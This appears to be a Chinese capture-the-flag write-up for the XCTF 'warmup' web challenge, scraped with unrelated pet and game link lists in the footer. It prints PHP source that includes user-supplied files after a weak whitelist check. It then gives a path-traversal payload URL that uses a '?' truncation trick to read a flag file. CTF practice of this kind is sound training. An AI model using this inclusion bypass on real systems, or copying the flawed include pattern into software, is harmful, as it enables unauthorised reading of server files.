F12发现注释:<!--source.php-->
<?php class emmm { public static function checkFile(&$page) { $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; if (! isset($page) || !is_string($page)) { echo "you can't see it"; return false; } if (in_array($page, $whitelist)) { return true; } $_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } $_page = urldecode($page); $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } echo "you can't see it"; return false; } } if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']) ) { include $_REQUEST['file']; exit; } else { echo "<br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" />"; } ?>
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748访问访问hint.php回显:
flag not here, and flag in ffffllllaaaagggg
当下面成立时可以传入传参
$whitelist = [“source”=>“source.php”,“hint”=>“hint.php”];
在?file=hint.php后面加上个问号,使它能够截取到我们传入的
Payload:http://111.198.29.45:58125/source.php?file=hint.php?../../../../../ffffllllaaaagggg 1
相关知识
XCTF攻防世界web新手练习
魔兽塔魔
宠物风暴官方版免费下载
《神武4》高强力收益测试 物攻宠物打书必备
《宠物世界》
《新倚天剑与屠龙刀》暑假宝宝乐翻天
逆水寒:宠物打工时代来临,玩家如何日赚斗金?
【宠物世界杂志】宠物世界杂志品牌、价格
宠物世界网
世界名犬馆
网址: 攻防世界XCTF:warmup https://m.mcbbbk.com/newsview161058.html
上一篇: 2021年中国宠物科学喂养行业研 |
下一篇: 使用hive的beeline连接 |